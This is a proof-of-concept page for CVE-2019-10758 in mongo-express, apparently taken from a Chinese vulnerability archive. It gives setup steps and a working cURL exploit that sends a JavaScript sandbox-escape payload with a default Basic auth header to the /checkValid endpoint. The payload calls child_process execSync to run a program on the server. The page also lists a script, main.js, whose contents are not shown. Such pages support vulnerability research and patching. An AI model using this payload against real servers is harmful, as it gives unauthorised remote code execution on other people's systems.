CVE-2019-10758 PoC — mongo-express 安全漏洞

来源

关联漏洞

介绍

# CVE-2019-10758 PoC


## Setup

```
docker run -p 27017:27017 -d mongo
npm install mongo-express@0.53.0 
cd node_modules/mongo-express/ && node app.js
```

## cURL exploit
```
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'
```

## Script exploit
```
node main.js
```

文件快照

 [4.0K]  /data/pocs/5d7d7980962695b6086718129543d614f92c6206
├── [ 233]  main.js
├── [ 70K]  package-lock.json
└── [ 475]  README.md

0 directories, 3 files

备注